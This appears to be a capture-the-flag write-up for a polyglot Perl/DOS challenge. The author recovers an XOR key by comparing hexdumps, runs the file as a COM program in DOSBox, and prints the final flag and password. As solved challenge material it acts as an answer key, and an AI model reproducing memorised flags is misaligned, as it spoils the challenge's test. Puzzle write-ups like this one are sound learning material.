user@host:~$ ./perl.sh 145+0 records in 145+0 records out 145 bytes copied, 0.000557294 s, 260 kB/s user@host:~$ hexdump -C out_new 00000000 4c 8b 38 32 d0 08 f9 f5 77 62 70 6e d0 02 00 00 |L.82....wbpn....| 00000010 31 ac 6f 5c 17 c1 0a fb 79 62 68 6d 08 c1 fd fb |1.o\....ybhm....| 00000020 73 a0 70 69 0a c1 f7 fb 76 3f 48 6d 08 b4 0a fb |s.pi....v?Hm....| 00000030 79 55 7a 70 15 f9 b1 00 6c 96 7b 1b 12 02 fd 05 |yUzp....l.{.....| 00000040 24 a5 6c 6d 0f b4 f4 ed 72 55 77 5c 15 07 f6 ac |$.lm....rUw\....| 00000050 54 9a 79 67 e2 9e de f5 67 a7 76 6e 12 fa 05 b3 |T.yg....g.vn....| 00000060 77 55 80 60 c3 03 fd f0 24 a8 6f 60 0f 00 b1 f0 |wU.`....$.o`....| 00000070 73 9a 7a 1b 11 03 05 ac 69 ab 6c 69 c3 ff ff fb |s.z.....i.li....| 00000080 7b 55 36 70 16 06 c0 ee 6d a3 36 6b 08 06 fd ba |{U6p....m.6k....| 00000090 0e |.| 00000091
Adjust one character of the password:
... echo "tesb" > inp ...
And rerun the script:
user@host:~$ ./perl.sh 145+0 records in 145+0 records out 145 bytes copied, 0.000400438 s, 362 kB/s user@host:~$ hexdump -C out_new 00000000 4c 8b 38 20 d0 08 f9 f5 77 62 70 5c d0 02 00 00 |L.8 ....wbp\....| 00000010 31 ac 6f 4a 17 c1 0a fb 79 62 68 5b 08 c1 fd fb |1.oJ....ybh[....| 00000020 73 a0 70 57 0a c1 f7 fb 76 3f 48 5b 08 b4 0a fb |s.pW....v?H[....| 00000030 79 55 7a 5e 15 f9 b1 00 6c 96 7b 09 12 02 fd 05 |yUz^....l.{.....| 00000040 24 a5 6c 5b 0f b4 f4 ed 72 55 77 4a 15 07 f6 ac |$.l[....rUwJ....| 00000050 54 9a 79 55 e2 9e de f5 67 a7 76 5c 12 fa 05 b3 |T.yU....g.v\....| 00000060 77 55 80 4e c3 03 fd f0 24 a8 6f 4e 0f 00 b1 f0 |wU.N....$.oN....| 00000070 73 9a 7a 09 11 03 05 ac 69 ab 6c 57 c3 ff ff fb |s.z.....i.lW....| 00000080 7b 55 36 5e 16 06 c0 ee 6d a3 36 59 08 06 fd ba |{U6^....m.6Y....| 00000090 0e |.| 00000091
Comparing the two hex-dumps we can notice that the 4th, 12th, 20th, 28th, … bytes are different. It’s also eye-catching that the 1st to 4th and the 9th to 12th byte of every row is within the ASCII-character-range. It seems likely that the output is encoded with our password as a key of length 8. That’s why every 8th character (4th, 12th, 20th, …) is different as we only changed one character in our password. Also our password only has a length of 4 so the key must be padded resulting in the eye-gatching gaps of 4 bytes.
Yet again I adjusted the password:
... echo "password" > inp ...
Running the script:
user@host:~$ ./perl.sh 145+0 records in 145+0 records out 145 bytes copied, 0.000480779 s, 302 kB/s user@host:~$ hexdump -C out_new 00000000 48 87 38 31 3d 77 6b 59 73 5e 70 6d 3d 71 72 64 |H.81=wkYs^pm=qrd| 00000010 2d a8 6f 5b 84 30 7c 5f 75 5e 68 6c 75 30 6f 5f |-.o[.0|_u^hlu0o_| 00000020 6f 9c 70 68 77 30 69 5f 72 3b 48 6c 75 23 7c 5f |o.phw0i_r;Hlu#|_| 00000030 75 51 7a 6f 82 68 23 64 68 92 7b 1a 7f 71 6f 69 |uQzo.h#dh.{..qoi| 00000040 20 a1 6c 6c 7c 23 66 51 6e 51 77 5b 82 76 68 10 | .ll|#fQnQw[.vh.| 00000050 50 96 79 66 4f 0d 50 59 63 a3 76 6d 7f 69 77 17 |P.yfO.PYc.vm.iw.| 00000060 73 51 80 5f 30 72 6f 54 20 a4 6f 5f 7c 6f 23 54 |sQ._0roT .o_|o#T| 00000070 6f 96 7a 1a 7e 72 77 10 65 a7 6c 68 30 6e 71 5f |o.z.~rw.e.lh0nq_| 00000080 77 51 36 6f 83 75 32 52 69 9f 36 6a 75 75 6f 1e |wQ6o.u2Ri.6juuo.| 00000090 0a |.| 00000091
I tried different passwords and recognized that the first part of the output might be a flag.
By gradually adjusting the password I tried to get "HV17-"
in the output:
... echo "p0lyword" > inp ...
Running the script:
user@host:~$ ./perl.sh 145+0 records in 145+0 records out 145 bytes copied, 0.000796671 s, 182 kB/s user@host:~$ hexdump -C out_new 00000000 48 56 31 37 3d 77 6b 59 73 2d 69 73 3d 71 72 64 |HV17=wkYs-is=qrd| 00000010 2d 77 68 61 84 30 7c 5f 75 2d 61 72 75 30 6f 5f |-wha.0|_u-aru0o_| 00000020 6f 6b 69 6e 77 30 69 5f 72 0a 41 72 75 23 7c 5f |okinw0i_r.Aru#|_| 00000030 75 20 73 75 82 68 23 64 68 61 74 20 7f 71 6f 69 |u su.h#dhat .qoi| 00000040 20 70 65 72 7c 23 66 51 6e 20 70 61 82 76 68 10 | per|#fQn pa.vh.| 00000050 50 65 72 6c 4f 0d 50 59 63 72 6f 73 7f 69 77 17 |PerlO.PYcros.iw.| 00000060 73 20 79 65 30 72 6f 54 20 73 68 65 7c 6f 23 54 |s ye0roT she|o#T| 00000070 6f 65 73 20 7e 72 77 10 65 76 65 6e 30 6e 71 5f |oes ~rw.even0nq_| 00000080 77 20 2f 75 83 75 32 52 69 6e 2f 70 75 75 6f 1e |w /u.u2Rin/puuo.| 00000090 0a |.| 00000091
Not yet! Keep on:
... echo "p0lygl0t" > inp ...
And again running the script:
user@host:~$ ./perl.sh 145+0 records in 145+0 records out 145 bytes copied, 0.000483015 s, 300 kB/s user@host:~$ hexdump -C out_new 00000000 48 56 31 37 2d 74 68 69 73 2d 69 73 2d 6e 6f 74 |HV17-this-is-not| 00000010 2d 77 68 61 74 2d 79 6f 75 2d 61 72 65 2d 6c 6f |-what-you-are-lo| 00000020 6f 6b 69 6e 67 2d 66 6f 72 0a 41 72 65 20 79 6f |oking-for.Are yo| 00000030 75 20 73 75 72 65 20 74 68 61 74 20 6f 6e 6c 79 |u sure that only| 00000040 20 70 65 72 6c 20 63 61 6e 20 70 61 72 73 65 20 | perl can parse | 00000050 50 65 72 6c 3f 0a 4d 69 63 72 6f 73 6f 66 74 27 |Perl?.Microsoft'| 00000060 73 20 79 65 20 6f 6c 64 20 73 68 65 6c 6c 20 64 |s ye old shell d| 00000070 6f 65 73 20 6e 6f 74 20 65 76 65 6e 20 6b 6e 6f |oes not even kno| 00000080 77 20 2f 75 73 72 2f 62 69 6e 2f 70 65 72 6c 2e |w /usr/bin/perl.| 00000090 0a |.| 00000091
Looks good! No flag yet, but a hint:
Are you sure that only perl can parse Perl? Microsoft's ye old shell does not even know /usr/bin/perl.
The challenge description also suggests that we should execute the file with something other than perl. Now we have got a specific hint. I don’t really know what’s meant with Microsoft’s ye(?) old shell, but this sounds like DOS. Thus I startet googling for a DOS-emulator and stumbled upon DOSBox: https://www.dosbox.com/.
In the DOSBox configuration file I added the following lines to mount a local folder where the perl-script resides:
... [autoexec] # Lines in this section will be run at startup. # You can put your MOUNT lines here. mount C "C:\Users\stef\Documents\dosbox\" C:
Since DOS does not even know /usr/bin/perl but rather used COM-files I renamed the script from onlyperl.pl
to onlyperl.com
, started up DOSBox and entered ONLYPERL.COM
:
Looks good! The binary is running. At first there’s a prompt for the perl password. We already know that this is p0lygl0t
. But what’s the DOS code
? Entering test
just terminates the program.
After a little bit of testing I figured out that the DOS code must be 6 characters long because otherwise the program terminates directly. When entering a DOS code with the length of 6 a decrypted output is printed. After trying and erroring a little bit I managed to get all characters right:
Done 🙂
The flag is HV17-Ovze-IUGF-W2xs-x2uE-pVRU
.